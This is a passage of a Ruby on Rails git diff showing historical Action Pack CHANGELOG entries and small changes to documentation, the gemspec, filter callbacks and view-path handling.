+ @request.request_parameters["password"] = ""
+
+ response = LoginController.process_test(@request)
+
+ assert_equal "The username and/or password you entered is invalid.", response.session["flash"]["alert"]
+ assert_equal "http://37signals.basecamp.com/login/", response.headers["location"]
+ end
+
+ # New style
+ def test_failing_authenticate
+ process :authenticate, "user_name" => "nop", "password" => ""
+ assert_flash_has 'alert'
+ assert_redirected_to :action => "index"
+ end
+
+ See a full example on http://codepaste.org/view/paste/334
+
+* Increased performance by up to 100% with a revised cookie class that fixes the performance problems with the
+ default one that ships with 1.8.1 and below. It replaces the inheritance on SimpleDelegator with DelegateClass(Array)
+ following the suggestion from Matz on:
+ http://groups.google.com/groups?th=e3a4e68ba042f842&seekm=c3sioe%241qvm%241%40news.cybercity.dk#link14
+
+* Added caching for compiled ERb templates. On Basecamp, it gave between 8.5% and 71% increase in performance [Andreas Schwarz].
+
+* Added implicit counter variable to render_collection_of_partials [Marcel Molina Jr.]. From the docs:
+
+ <%= render_collection_of_partials "ad", @advertisements %>
+
+ This will render "advertiser/_ad.rhtml" and pass the local variable +ad+ to the template for display. An iteration counter
+ will automatically be made available to the template with a name of the form +partial_name_counter+. In the case of the
+ example above, the template would be fed +ad_counter+.
+
+* Fixed problems with two sessions being maintained on reset_session that would particularly screw up ActiveRecordStore.
+
+* Fixed reset_session to start an entirely new session instead of merely deleting the old. So you can now safely access @session
+ after calling reset_ression and expect it to work.
+
+* Added @request.get?, @request.post?, @request.put?, @request.delete? as convenience query methods for @request.method *geech*
+
+* Added @request.method that'll return a symbol representing the HTTP method, such as :get, :post, :put, :delete *geech*
+
+* Changed @request.remote_ip and @request.host to work properly even when a proxy is in front of the application *geech*
+
+* Added JavaScript confirm feature to link_to. Documentation:
+
+ The html_options have a special feature for creating javascript confirm alerts where if you pass
+ :confirm => 'Are you sure?', the link will be guarded with a JS popup asking that question.
+ If the user accepts, the link is processed, otherwise not.
+
+* Added link_to_unless_current as a UrlHelper method [Sam Stephenson]. Documentation:
+
+ Creates a link tag of the given +name+ using an URL created by the set of +options+, unless the current
+ controller, action, and id are the same as the link's, in which case only the name is returned (or the
+ given block is yielded, if one exists). This is useful for creating link bars where you don't want to link
+ to the page currently being viewed.
+
+* Fixed that UrlRewriter (the driver for url_for, link_to, etc) would blow up when the anchor was an integer *alexey*
+
+* Added that layouts defined with no directory defaults to layouts. So layout "weblog/standard" will use
+ weblog/standard (as always), but layout "standard" will use layouts/standard.
+
+* Fixed that partials (or any template starting with an underscore) was publically viewable *Marten*
+
+* Added HTML escaping to text_area helper.
+
+* Added :overwrite_params to url_for and friends to keep the parameters as they were passed to the current action and only overwrite a subset.
+ The regular :params will clear the slate so you need to manually add in existing parameters if you want to reuse them. *raphinou*
+
+* Fixed scaffolding problem with composite named objects *Moo Jester*
+
+* Added the possibility for shared partials. Example:
+
+ <%= render_partial "advertisement/ad", ad %>
+
+ This will render the partial "advertisement/_ad.rhtml" regardless of which controller this is being called from.
+
+ *Jacob Fugal*
+
+* Fixed crash when encountering forms that have empty-named fields *James Prudente*
+
+* Added check_box form helper method now accepts true/false as well as 1/0 *what-a-day*
+
+* Fixed the lacking creation of all directories with install.rb *Dave Steinberg*
+
+* Fixed that date_select returns valid XHTML selected options *Andreas Schwarz*
+
+* Fixed referencing an action with the same name as a controller in url_for *what-a-day*
+
+* Fixed the destructive nature of Base#attributes= on the argument *Kevin Watt*
+
+* Changed ActionControllerError to decent from StandardError instead of Exception. It can now be caught by a generic rescue.
+
+* Added SessionRestoreError that is raised when a session being restored holds objects where there is no class available.
+
+* Added block as option for inline filters. So what used to be written as:
+
+ before_filter Proc { |controller| return false if controller.params["stop_action"] }
+
+ ...can now be as:
+
+ before_filter { |controller| return false if controller.params["stop_action"] }
+
+ *Jeremy Kemper*
+
+* Made the following methods public (was protected): url_for, controller_class_name, controller_name, action_name
+ This makes it easier to write filters without cheating around the encapsulation with send.
+
+* ActionController::Base#reset_session now sticks even if you access @session afterwards *Kent Sibilev*
+
+* Improved the exception logging so the log file gets almost as much as in-browser debugging.
+
+* Changed base class setup from AbstractTemplate/ERbTemplate to ActionView::Base. This change should be harmless unless you were
+ accessing Action View directly in which case you now need to reference the Base class.\
+
+* Added that render_collection_of_partials returns nil if the collection is empty. This makes showing a “no items” message easier.
+ For example: <%= render_collection_of_partials("message", @messages) || "No messages found." %> *Sam Stephenson*
+
+* Added :month_before_year as an option to date_select to get the month select before the year. Especially useful for credit card forms.
+
+* Added :add_month_numbers to select_month to get options like "3 - March".
+
+* Removed Base.has_active_layout? as it couldn't answer the question without the instance. Use Base#active_layout instead.
+
+* Removed redundant call to update on ActionController::Base#close_session *Andreas Schwarz*
+
+* Fixed that DRb Store accidently started its own server (instead of just client) *Andreas*
+
+* Fixed strip_links so it now works across multiple lines *Chad Fowler*
+
+* Fixed the TemplateError exception to show the proper trace on to_s (useful for unit test debugging)
+
+* Implemented class inheritable attributes without eval *Caio Chassot*
+
+* Made TextHelper#concat accept binding as it would otherwise not work
+
+* The FormOptionsHelper will now call to_s on the keys and values used to generate options
+
+
+## 0.8.5 ##
+
+* Introduced passing of locally scoped variables between templates:
+
+ You can pass local variables to sub templates by using a hash of with the variable
+ names as keys and the objects as values:
+
+ <%= render "shared/header", { "headline" => "Welcome", "person" => person } %>
+
+ These can now be accessed in shared/header with:
+
+ Headline: <%= headline %>
+ First name: <%= person.first_name %>
+
+* Introduced the concept of partials as a certain type of sub templates:
+
+ There's also a convenience method for rendering sub templates within the current
+ controller that depends on a single object (we call this kind of sub templates for
+ partials). It relies on the fact that partials should follow the naming convention
+ of being prefixed with an underscore -- as to separate them from regular templates
+ that could be rendered on their own. In the template for Advertiser#buy, we could have:
+
+ <% for ad in @advertisements %>
+ <%= render_partial "ad", ad %>
+ <% end %>
+
+ This would render "advertiser/_ad.rhtml" and pass the local variable +ad+
+ for the template to display.
+
+ == Rendering a collection of partials
+
+ The example of partial use describes a familar pattern where a template needs
+ to iterate over a array and render a sub template for each of the elements.
+ This pattern has been implemented as a single method that accepts an array and
+ renders a partial by the same name of as the elements contained within. So the
+ three-lined example in "Using partials" can be rewritten with a single line:
+
+ <%= render_collection_of_partials "ad", @advertisements %>
+
+ So this will render "advertiser/_ad.rhtml" and pass the local variable +ad+ for
+ the template to display.
+
+* Improved send_file by allowing a wide range of options to be applied [Jeremy Kemper]:
+
+ Sends the file by streaming it 4096 bytes at a time. This way the
+ whole file doesn't need to be read into memory at once. This makes
+ it feasible to send even large files.
+
+ Be careful to sanitize the path parameter if it coming from a web
+ page. send_file(@params['path'] allows a malicious user to
+ download any file on your server.
+
+ Options:
+ * <tt>:filename</tt> - specifies the filename the browser will see.
+ Defaults to File.basename(path).
+ * <tt>:type</tt> - specifies an HTTP content type.
+ Defaults to 'application/octet-stream'.
+ * <tt>:disposition</tt> - specifies whether the file will be shown inline or downloaded.
+ Valid values are 'inline' and 'attachment' (default).
+ * <tt>:buffer_size</tt> - specifies size (in bytes) of the buffer used to stream
+ the file. Defaults to 4096.
+
+ The default Content-Type and Content-Disposition headers are
+ set to download arbitrary binary files in as many browsers as
+ possible. IE versions 4, 5, 5.5, and 6 are all known to have
+ a variety of quirks (especially when downloading over SSL).
+
+ Simple download:
+ send_file '/path/to.zip'
+
+ Show a JPEG in browser:
+ send_file '/path/to.jpeg', :type => 'image/jpeg', :disposition => 'inline'
+
+ Read about the other Content-* HTTP headers if you'd like to
+ provide the user with more information (such as Content-Description).
+ http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.11
+
+ Also be aware that the document may be cached by proxies and browsers.
+ The Pragma and Cache-Control headers declare how the file may be cached
+ by intermediaries. They default to require clients to validate with
+ the server before releasing cached responses. See
+ http://www.mnot.net/cache_docs/ for an overview of web caching and
+ http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.9
+ for the Cache-Control header spec.
+
+* Added pluralize method to the TextHelper that makes it easy to get strings like "1 message", "3 messages"
+
+* Added proper escaping for the rescues *Andreas Schwarz*
+
+* Added proper escaping for the option and collection tags *Andreas Schwarz*
+
+* Fixed NaN errors on benchmarking *Jim Weirich*
+
+* Fixed query string parsing for URLs that use the escaped versions of & or ; as part of a key or value
+
+* Fixed bug with custom Content-Type headers being in addition to rather than instead of the default header.
+ (This bug didn't matter with neither CGI or mod_ruby, but FCGI exploded on it) *With help from Ara T. Howard*
+
+
+## 0.8.0 ##
+
+* Added select, collection_select, and country_select to make it easier for Active Records to set attributes through
+ drop-down lists of options. Example:
+
+ <%= select "person", "gender", %w( Male Female ) %>
+
+ ...would give the following:
+
+ <select name="person[gender]" id="person_gender"><option>Male</option><option>Female</option></select>
+
+* Added an option for getting multiple values on a single form name into an array instead of having the last one overwrite.
+ This is especially useful for groups of checkboxes, which can now be written as:
+
+ <input type="checkbox" name="rights[]" value="CREATE" />
+ <input type="checkbox" name="rights[]" value="UPDATE" />
+ <input type="checkbox" name="rights[]" value="DELETE" />
+
+ ...and retrieved in the controller action with:
+
+ @params["rights"] # => [ "CREATE", "UPDATE", "DELETE" ]
+
+ The old behavior (where the last one wins, "DELETE" in the example) is still available. Just don't add "[]" to the
+ end of the name. *Scott Baron*
+
+* Added send_file which uses the new render_text block acceptance to make it feasible to send large files.
+ The files is sent with a bunch of voodoo HTTP headers required to get arbitrary files to download as
+ expected in as many browsers as possible (eg, IE hacks). Example:
+
+ def play_movie
+ send_file "/movies/that_movie.avi"
+ end
+
+ *Jeremy Kemper*
+
+* render_text now accepts a block for deferred rendering. Useful for streaming large files, displaying
+ a “please wait” message during a complex search, etc. Streaming example:
+
+ render_text do |response|
+ File.open(path, 'rb') do |file|
+ while buf = file.read(1024)
+ print buf
+ end
+ end
+ end
+
+ *Jeremy Kemper*
+
+* Added a new Tag Helper that can generate generic tags programmatically insted of through HTML. Example:
+
+ tag("br", "clear" => "all") => <br clear="all" />
+
+ ...that's usually not terribly interesting (unless you have a lot of options already in a hash), but it
+ gives way for more specific tags, like the new form tag:
+
+ form_tag({ :controller => "weblog", :action => "update" }, { :multipart => "true", "style" => "width: 200px"}) =>
+ <form action="/weblog/update" enctype="multipart/formdata" style="width: 200px">
+
+ There's even a "pretty" version for people who don't like to open tags in code and close them in HTML:
+
+ <%= start_form_tag :action => "update" %>
+ # all the input fields
+ <%= end_form_tag %>
+
+ (end_form_tag just returns "</form>")
+
+* The selected parameter in options_for_select may now also an array of values to be selected when
+ using a multiple select. Example:
+
+ options_for_select([ "VISA", "Mastercard", "Discover" ], ["VISA", "Discover"]) =>
+ <option selected>VISA</option>\n<option>Mastercard</option>\n<option selected>Discover</option>
+
+ *Scott Baron*
+
+* Changed the URL rewriter so controller_prefix and action_prefix can be used in isolation. You can now do:
+
+ url_for(:controller_prefix => "clients")
+
+ ...or:
+
+ url_for(:action_prefix => "category/messages")
+
+ Neither would have worked in isolation before (:controller_prefix required a :controller and :action_prefix required an :action)
+
+* Started process of a cleaner separation between Action Controller and ERb-based Action Views by introducing an
+ abstract base class for views. And Amita adapter could be fitted in more easily now.
+
+* The date helper methods date_select and datetime_select now also use the field error wrapping
+ (div with class fieldWithErrors by default).
+
+* The date helper methods date_select and datetime_select can now discard selects
+
+* Added option on AbstractTemplate to specify a different field error wrapping. Example:
+
+ ActionView::AbstractTemplate.field_error_proc = Proc.new do |html, instance|
+ "<p>#{instance.method_name + instance.error_message}</p><div style='background-color: red'>#{html}</div>"
+ end
+
+ ...would give the following on a Post#title (text field) error:
+
+ <p>Title can't be empty</p>
+ <div style='background-color: red'>
+ <input id="post_title" name="post[title]" size="30" type="text" value="Hello World" />
+ </div>
+
+* The UrlHelper methods url_for and link_to will now by default only return paths, not complete URIs.
+ That should make it easier to fit a Rails application behind a proxy or load-balancer.
+ You can overwrite this by passing :only_path => false as part of the options. *Suggested by U235*
+
+* Fixed bug with having your own layout for use with scaffolding *Kevin Radloff*
+
+* Fixed bug where redirect_to_path didn't append the port on non-standard ports *dhawkins*
+
+* Scaffolding plays nicely with single-table inheritance (LoadErrors are caught) *Jeremy Kemper*
+
+* Scaffolding plays nice with plural models like Category/categories *Jeremy Kemper*
+
+* Fixed missing suffix appending in scaffolding *Kevin Radloff*
+
+
+## 0.7.9 ##
+
+* The "form" method now present boolean fields from PostgreSQL as drop-down menu. *Scott*
+
+* Scaffolding now automatically attempts to require the class that's being scaffolded.
+
+* Scaffolding will use the current active layout, instead of its own, if one has been specified. Example:
+
+ class WeblogController < ActionController::Base
+ layout "layouts/weblog"
+ scaffold :post
+ end
+
+ *Suggested by Scott*
+
+* Changed url_for (and all the that drives, like redirect_to, link_to, link_for) so you can pass it a symbol instead of a hash.
+ This symbol is a method reference which is then called to calculate the url. Example:
+
+ class WeblogController < ActionController::Base
+ def update
+ # do some update
+ redirect_to :dashboard_url
+ end
+
+ protected
+ def dashboard_url
+ if @project.active?
+ url_for :controller => "project", :action => "dashboard"
+ else
+ url_for :controller => "account", :action => "dashboard"
+ end
+ end
+ end
+
+* Added default_url_options to specialize behavior for all url_for (and friends) calls:
+
+ Overwrite to implement a number of default options that all url_for-based methods will use.
+ The default options should come in form of a hash, just like the one you would use for
+ url_for directly. Example:
+
+ def default_url_options(options)
+ { :controller_prefix => @project.active? ? "projects/" : "accounts/" }
+ end
+
+ As you can infer from the example, this is mostly useful for situations where you want to
+ centralize dynamic dissions about the urls as they stem from the business domain. Please note
+ that any individual url_for call can always override the defaults set by this method.
+
+
+* Changed url_for so that an "id" passed in the :params is not treated special. You need to use the dedicated :id to get
+ the special auto path-params treatment. Considering the url http://localhost:81/friends/list
+
+ url_for(:action => "show", :params => { "id" => 5 })
+ ...used to give http://localhost:81/friends/show/5
+ ......now gives http://localhost:81/friends/show?id=5
+
+ If you want the automated id behavior, do:
+
+ url_for(:action => "show", :id => 5 )
+ ....which gives http://localhost:81/friends/show/5
+
+
+* Fixed problem with anchor being inserted before path parameters with url_for (and friends)
+
+
+## 0.7.8 ##
+
+* Fixed session bug where you couldn't store any objects that didn't exist in the standard library
+ (such as Active Record objects).
+
+* Added reset_session method for Action Controller objects to clear out all objects in the session.
+
+* Fixed that exceptions raised during filters are now also caught by the default rescues
+
+* Added new around_filter for doing before and after filtering with a single object [Florian Weber]:
+
+ class WeblogController < ActionController::Base
+ around_filter BenchmarkingFilter.new
+
+ # Before this action is performed, BenchmarkingFilter#before(controller) is executed
+ def index
+ end
+ # After this action has been performed, BenchmarkingFilter#after(controller) is executed
+ end
+
+ class BenchmarkingFilter
+ def initialize
+ @runtime
+ end
+
+ def before
+ start_timer
+ end
+
+ def after
+ stop_timer
+ report_result
+ end
+ end
+
+* Added the options for specifying a different name and id for the form helper methods than what is guessed [Florian Weber]:
+
+ text_field "post", "title"
+ ...just gives: <input id="post_title" name="post[title]" size="30" type="text" value="" />
+
+ text_field "post", "title", "id" => "title_for_post", "name" => "first_post_title"
+ ...can now give: <input id="title_for_post" name="first_post_title" size="30" type="text" value="" />
+
+* Added DebugHelper with a single "debug" method for doing pretty dumps of objects in the view
+ (now used in the default rescues to better present the contents of session and template variables)
+
+* Added note to log about the templates rendered within layouts (before just the layout was shown)
+
+* Fixed redirects on https setups *Andreas*
+
+* Fixed scaffolding problem on the edit action when using :suffix => true *Scott*
+
+* Fixed scaffolding problem where implementing list.rhtml wouldn't work for the index action
+
+* URLs generated now uses &amp; instead of just & so pages using it can validate with W3C *Spotted by Andreas*
+
+
+## 0.7.7 ##
+
+* Fixed bug in CGI extension that prevented multipart forms from working
+
+
+## 0.7.6 ##
+
+* Included ERB::Util so all templates can easily escape HTML content with <%=h @person.content %>
+
+* All requests are now considered local by default, so everyone will be exposed to detailed debugging screens on errors.
+ When the application is ready to go public, set ActionController::Base.consider_all_requests_local to false,
+ and implement the protected method local_request? in the controller to determine when debugging screens should be shown.
+
+* Fixed three bugs with the url_for/redirect_to/link_to handling. Considering the url http://localhost:81/friends/show/1
+
+ url_for(:action => "list")
+ ...used to give http://localhost:81/friends/list/1
+ ......now gives http://localhost:81/friends/list
+
+ url_for(:controller => "friends", :action => "destroy", :id => 5)
+ ...used to give http://localhost:81/friends/destroy
+ ......now gives http://localhost:81/friends/destroy/5
+
+ Considering the url http://localhost:81/teachers/show/t
+
+ url_for(:action => "list", :id => 5)
+ ...used to give http://localhost:81/5eachers/list/t
+ ......now gives http://localhost:81/teachers/list/5
+
+ *Reported by David Morton & Radsaq*
+
+* Logs exception to logfile in addition to showing them for local requests
+
+* Protects the eruby load behind a begin/rescue block. eRuby is not required to run ActionController.
+
+* Fixed install.rb to also install clean_logger and the templates
+
+* Added ActiveRecordStore as a session option. Read more in lib/action_controller/session/active_record_store.rb *Tim Bates*
+
+* Change license to MIT License (and included license file in package)
+
+* Application error page now returns status code 500 instead of 200
+
+* Fixed using Procs as layout handlers *Florian Weber*
+
+* Fixed bug with using redirects ports other than 80
+
+* Added index method that calls list on scaffolding
+
+
+## 0.7.5 ##
+
+* First public release
diff --git a/actionpack/README.rdoc b/actionpack/README.rdoc
index c494d78415..95301c21ee 100644
--- a/actionpack/README.rdoc
+++ b/actionpack/README.rdoc
@@ -283,7 +283,7 @@ methods:
The last two lines are responsible for telling ActionController where the
template files are located and actually running the controller on a new
-request from the web-server (like to be Apache).
+request from the web-server (e.g., Apache).
And the templates look like this:
@@ -316,13 +316,13 @@ an URL such as /weblog/5 (where 5 is the id of the post).
== Download and installation
-The latest version of Action Pack can be installed with Rubygems:
+The latest version of Action Pack can be installed with RubyGems:
% [sudo] gem install actionpack
Source code can be downloaded as part of the Rails project on GitHub
-* https://github.com/rails/rails/tree/master/actionpack/
+* https://github.com/rails/rails/tree/master/actionpack
== License
diff --git a/actionpack/RUNNING_UNIT_TESTS b/actionpack/RUNNING_UNIT_TESTS
index 1e3ba7abe7..1b29abd2d1 100644
--- a/actionpack/RUNNING_UNIT_TESTS
+++ b/actionpack/RUNNING_UNIT_TESTS
@@ -18,7 +18,7 @@ which can be further narrowed down to one test:
== Dependency on Active Record and database setup
-Test cases in the test/controller/active_record/ directory depend on having
+Test cases in the test/active_record/ directory depend on having
activerecord and sqlite installed. If Active Record is not in
actionpack/../activerecord directory, or the sqlite rubygem is not installed,
these tests are skipped.
diff --git a/actionpack/Rakefile b/actionpack/Rakefile
index 66dd88f0c6..d9e3e56fcc 100755
--- a/actionpack/Rakefile
+++ b/actionpack/Rakefile
@@ -26,6 +26,11 @@ namespace :test do
Rake::TestTask.new(:isolated) do |t|
t.pattern = 'test/ts_isolated.rb'
end
+
+ Rake::TestTask.new(:template) do |t|
+ t.libs << 'test'
+ t.pattern = 'test/template/**/*.rb'
+ end
end
desc 'ActiveRecord Integration Tests'
diff --git a/actionpack/actionpack.gemspec b/actionpack/actionpack.gemspec
index 620fdc4a72..d6e9519915 100644
--- a/actionpack/actionpack.gemspec
+++ b/actionpack/actionpack.gemspec
@@ -12,20 +12,20 @@ Gem::Specification.new do |s|
s.email = 'david@loudthinking.com'
s.homepage = 'http://www.rubyonrails.org'
- s.files = Dir['CHANGELOG', 'README.rdoc', 'MIT-LICENSE', 'lib/**/*']
+ s.files = Dir['CHANGELOG.md', 'README.rdoc', 'MIT-LICENSE', 'lib/**/*']
s.require_path = 'lib'
s.requirements << 'none'
- s.add_dependency('activesupport', version)
- s.add_dependency('activemodel', version)
- s.add_dependency('rack-cache', '~> 1.0.2')
- s.add_dependency('builder', '~> 3.0.0')
- s.add_dependency('i18n', '~> 0.6')
- s.add_dependency('rack', '~> 1.3.2')
- s.add_dependency('rack-test', '~> 0.6.0')
- s.add_dependency('rack-mount', '~> 0.8.1')
- s.add_dependency('sprockets', '~> 2.0.0.beta.12')
- s.add_dependency('erubis', '~> 2.7.0')
+ s.add_dependency('activesupport', version)
+ s.add_dependency('activemodel', version)
+ s.add_dependency('rack-cache', '~> 1.1')
+ s.add_dependency('builder', '~> 3.0.0')
+ s.add_dependency('i18n', '~> 0.6')
+ s.add_dependency('rack', '~> 1.3.5')
+ s.add_dependency('rack-test', '~> 0.6.1')
+ s.add_dependency('journey', '~> 1.0.0')
+ s.add_dependency('sprockets', '~> 2.1.2')
+ s.add_dependency('erubis', '~> 2.7.0')
- s.add_development_dependency('tzinfo', '~> 0.3.29')
+ s.add_development_dependency('tzinfo', '~> 0.3.29')
end
diff --git a/actionpack/lib/abstract_controller/asset_paths.rb b/actionpack/lib/abstract_controller/asset_paths.rb
index b104d34fb5..c2a6809f58 100644
--- a/actionpack/lib/abstract_controller/asset_paths.rb
+++ b/actionpack/lib/abstract_controller/asset_paths.rb
@@ -3,7 +3,8 @@ module AbstractController
extend ActiveSupport::Concern
included do
- config_accessor :asset_host, :asset_path, :assets_dir, :javascripts_dir, :stylesheets_dir
+ config_accessor :asset_host, :asset_path, :assets_dir, :javascripts_dir,
+ :stylesheets_dir, :default_asset_host_protocol
end
end
end
diff --git a/actionpack/lib/abstract_controller/callbacks.rb b/actionpack/lib/abstract_controller/callbacks.rb
index e8426bc52b..7004e607a1 100644
--- a/actionpack/lib/abstract_controller/callbacks.rb
+++ b/actionpack/lib/abstract_controller/callbacks.rb
@@ -75,38 +75,122 @@ module AbstractController
end
end
+ ##
+ # :method: before_filter
+ #
+ # :call-seq: before_filter(names, block)
+ #
+ # Append a before filter. See _insert_callbacks for parameter details.
+
+ ##
+ # :method: prepend_before_filter
+ #
+ # :call-seq: prepend_before_filter(names, block)
+ #
+ # Prepend a before filter. See _insert_callbacks for parameter details.
+
+ ##
+ # :method: skip_before_filter
+ #
+ # :call-seq: skip_before_filter(names, block)
+ #
+ # Skip a before filter. See _insert_callbacks for parameter details.
+
+ ##
+ # :method: append_before_filter
+ #
+ # :call-seq: append_before_filter(names, block)
+ #
+ # Append a before filter. See _insert_callbacks for parameter details.
+
+ ##
+ # :method: after_filter
+ #
+ # :call-seq: after_filter(names, block)
+ #
+ # Append an after filter. See _insert_callbacks for parameter details.
+
+ ##
+ # :method: prepend_after_filter
+ #
+ # :call-seq: prepend_after_filter(names, block)
+ #
+ # Prepend an after filter. See _insert_callbacks for parameter details.
+
+ ##
+ # :method: skip_after_filter
+ #
+ # :call-seq: skip_after_filter(names, block)
+ #
+ # Skip an after filter. See _insert_callbacks for parameter details.
+
+ ##
+ # :method: append_after_filter
+ #
+ # :call-seq: append_after_filter(names, block)
+ #
+ # Append an after filter. See _insert_callbacks for parameter details.
+
+ ##
+ # :method: around_filter
+ #
+ # :call-seq: around_filter(names, block)
+ #
+ # Append an around filter. See _insert_callbacks for parameter details.
+
+ ##
+ # :method: prepend_around_filter
+ #
+ # :call-seq: prepend_around_filter(names, block)
+ #
+ # Prepend an around filter. See _insert_callbacks for parameter details.
+
+ ##
+ # :method: skip_around_filter
+ #
+ # :call-seq: skip_around_filter(names, block)
+ #
+ # Skip an around filter. See _insert_callbacks for parameter details.
+
+ ##
+ # :method: append_around_filter
+ #
+ # :call-seq: append_around_filter(names, block)
+ #
+ # Append an around filter. See _insert_callbacks for parameter details.
+
# set up before_filter, prepend_before_filter, skip_before_filter, etc.
# for each of before, after, and around.
[:before, :after, :around].each do |filter|
class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
# Append a before, after or around filter. See _insert_callbacks
# for details on the allowed parameters.
- def #{filter}_filter(*names, &blk)
- _insert_callbacks(names, blk) do |name, options|
- options[:if] = (Array.wrap(options[:if]) << "!halted") if #{filter == :after}
- set_callback(:process_action, :#{filter}, name, options)
- end
- end
+ def #{filter}_filter(*names, &blk) # def before_filter(*names, &blk)
+ _insert_callbacks(names, blk) do |name, options| # _insert_callbacks(names, blk) do |name, options|
+ options[:if] = (Array.wrap(options[:if]) << "!halted") if #{filter == :after} # options[:if] = (Array.wrap(options[:if]) << "!halted") if false
+ set_callback(:process_action, :#{filter}, name, options) # set_callback(:process_action, :before, name, options)
+ end # end
+ end # end
# Prepend a before, after or around filter. See _insert_callbacks
# for details on the allowed parameters.
- def prepend_#{filter}_filter(*names, &blk)
- _insert_callbacks(names, blk) do |name, options|
- options[:if] = (Array.wrap(options[:if]) << "!halted") if #{filter == :after}
- set_callback(:process_action, :#{filter}, name, options.merge(:prepend => true))
- end
- end
+ def prepend_#{filter}_filter(*names, &blk) # def prepend_before_filter(*names, &blk)
+ _insert_callbacks(names, blk) do |name, options| # _insert_callbacks(names, blk) do |name, options|
+ options[:if] = (Array.wrap(options[:if]) << "!halted") if #{filter == :after} # options[:if] = (Array.wrap(options[:if]) << "!halted") if false
+ set_callback(:process_action, :#{filter}, name, options.merge(:prepend => true)) # set_callback(:process_action, :before, name, options.merge(:prepend => true))
+ end # end
+ end # end
# Skip a before, after or around filter. See _insert_callbacks
# for details on the allowed parameters.
- def skip_#{filter}_filter(*names, &blk)
- _insert_callbacks(names, blk) do |name, options|
- skip_callback(:process_action, :#{filter}, name, options)
- end
- end
+ def skip_#{filter}_filter(*names, &blk) # def skip_before_filter(*names, &blk)
+ _insert_callbacks(names, blk) do |name, options| # _insert_callbacks(names, blk) do |name, options|
+ skip_callback(:process_action, :#{filter}, name, options) # skip_callback(:process_action, :before, name, options)
+ end # end
+ end # end
# *_filter is the same as append_*_filter
- alias_method :append_#{filter}_filter, :#{filter}_filter
+ alias_method :append_#{filter}_filter, :#{filter}_filter # alias_method :append_before_filter, :before_filter
RUBY_EVAL
end
end
diff --git a/actionpack/lib/abstract_controller/layouts.rb b/actionpack/lib/abstract_controller/layouts.rb
index 10aa34c76b..bbf5efe565 100644
--- a/actionpack/lib/abstract_controller/layouts.rb
+++ b/actionpack/lib/abstract_controller/layouts.rb
@@ -213,7 +213,7 @@ module AbstractController
# true:: raise an ArgumentError
#
# ==== Parameters
- # * <tt>String, Symbol, false</tt> - The layout to use.
+ # * <tt>layout</tt> - The layout to use.
#
# ==== Options (conditions)
# * :only - A list of actions to apply this layout to.
@@ -310,14 +310,10 @@ module AbstractController
# This will be overwritten by _write_layout_method
def _layout; end
- # Determine the layout for a given name and details, taking into account
- # the name type.
+ # Determine the layout for a given name, taking into account the name type.
#
# ==== Parameters
# * <tt>name</tt> - The name of the template
- # * <tt>details</tt> - A list of details to restrict
- # the lookup to. By default, layout lookup is limited to the
- # formats specified for the current request.
def _layout_for_option(name)
case name
when String then name
@@ -330,15 +326,12 @@ module AbstractController
end
end
- # Returns the default layout for this controller and a given set of details.
+ # Returns the default layout for this controller.
# Optionally raises an exception if the layout could not be found.
#
# ==== Parameters
- # * <tt>details</tt> - A list of details to restrict the search by. This
- # might include details like the format or locale of the template.
- # * <tt>require_layout</tt> - If this is true, raise an ArgumentError
- # with details about the fact that the exception could not be
- # found (defaults to false)
+ # * <tt>require_layout</tt> - If set to true and layout is not found,
+ # an ArgumentError exception is raised (defaults to false)
#
# ==== Returns
# * <tt>template</tt> - The template object for the default layout (or nil)
diff --git a/actionpack/lib/abstract_controller/railties/routes_helpers.rb b/actionpack/lib/abstract_controller/railties/routes_helpers.rb
index dec1e9d6d9..6684f46f64 100644
--- a/actionpack/lib/abstract_controller/railties/routes_helpers.rb
+++ b/actionpack/lib/abstract_controller/railties/routes_helpers.rb
@@ -5,8 +5,8 @@ module AbstractController
Module.new do
define_method(:inherited) do |klass|
super(klass)
- if namespace = klass.parents.detect {|m| m.respond_to?(:_railtie) }
- klass.send(:include, namespace._railtie.routes.url_helpers)
+ if namespace = klass.parents.detect { |m| m.respond_to?(:railtie_routes_url_helpers) }
+ klass.send(:include, namespace.railtie_routes_url_helpers)
else
klass.send(:include, routes.url_helpers)
end
diff --git a/actionpack/lib/abstract_controller/rendering.rb b/actionpack/lib/abstract_controller/rendering.rb
index ab2c532859..41fdc11196 100644
--- a/actionpack/lib/abstract_controller/rendering.rb
+++ b/actionpack/lib/abstract_controller/rendering.rb
@@ -120,8 +120,6 @@ module AbstractController
view_renderer.render(view_context, options)
end
- private
-
DEFAULT_PROTECTED_INSTANCE_VARIABLES = %w(
@_action_name @_response_body @_formats @_prefixes @_config
@_view_context_class @_view_renderer @_lookup_context
@@ -139,6 +137,8 @@ module AbstractController
hash
end
+ private
+
# Normalize args and options.
# :api: private
def _normalize_render(*args, &block)
diff --git a/actionpack/lib/abstract_controller/view_paths.rb b/actionpack/lib/abstract_controller/view_paths.rb
index 6b7aae8c74..e8394447a7 100644
--- a/actionpack/lib/abstract_controller/view_paths.rb
+++ b/actionpack/lib/abstract_controller/view_paths.rb
@@ -1,3 +1,5 @@
+require 'action_view/base'
+
module AbstractController
module ViewPaths
extend ActiveSupport::Concern
@@ -63,7 +65,7 @@ module AbstractController
# the default view path. You may also provide a custom view path
# (see ActionView::PathSet for more information)
def append_view_path(path)
- self.view_paths = view_paths.dup + Array(path)
+ self._view_paths = view_paths + Array(path)
end
# Prepend a path to the list of view paths for this controller.
@@ -73,7 +75,7 @@ module AbstractController
# the default view path. You may also provide a custom view path
# (see ActionView::PathSet for more information)
def prepend_view_path(path)
- self.view_paths = Array(path) + view_paths.dup
+ self._view_paths = ActionView::PathSet.new(Array(path) + view_paths)
end
# A list of all of the default view paths for this controller.
@@ -87,8 +89,7 @@ module AbstractController
# * <tt>paths</tt> - If a PathSet is provided, use that;
# otherwise, process the parameter into a PathSet.
def view_paths=(paths)
- self._view_paths = ActionView::Base.process_view_paths(paths)
- self._view_paths.freeze
+ self._view_paths = ActionView::PathSet.new(Array.wrap(paths))
end
end
end
diff --git a/actionpack/lib/action_controller/base.rb b/actionpack/lib/action_controller/base.rb
index ce56d8bc71..98bfe72fef 100644
--- a/actionpack/lib/action_controller/base.rb
+++ b/actionpack/lib/action_controller/base.rb
@@ -50,7 +50,7 @@ module ActionController
#
# All request parameters, whether they come from a GET or POST request, or from the URL, are available through the params method
# which returns a hash. For example, an action that was performed through <tt>/posts?category=All&limit=5</tt> will include
- # <tt>{ "category" => "All", "limit" => 5 }</tt> in params.
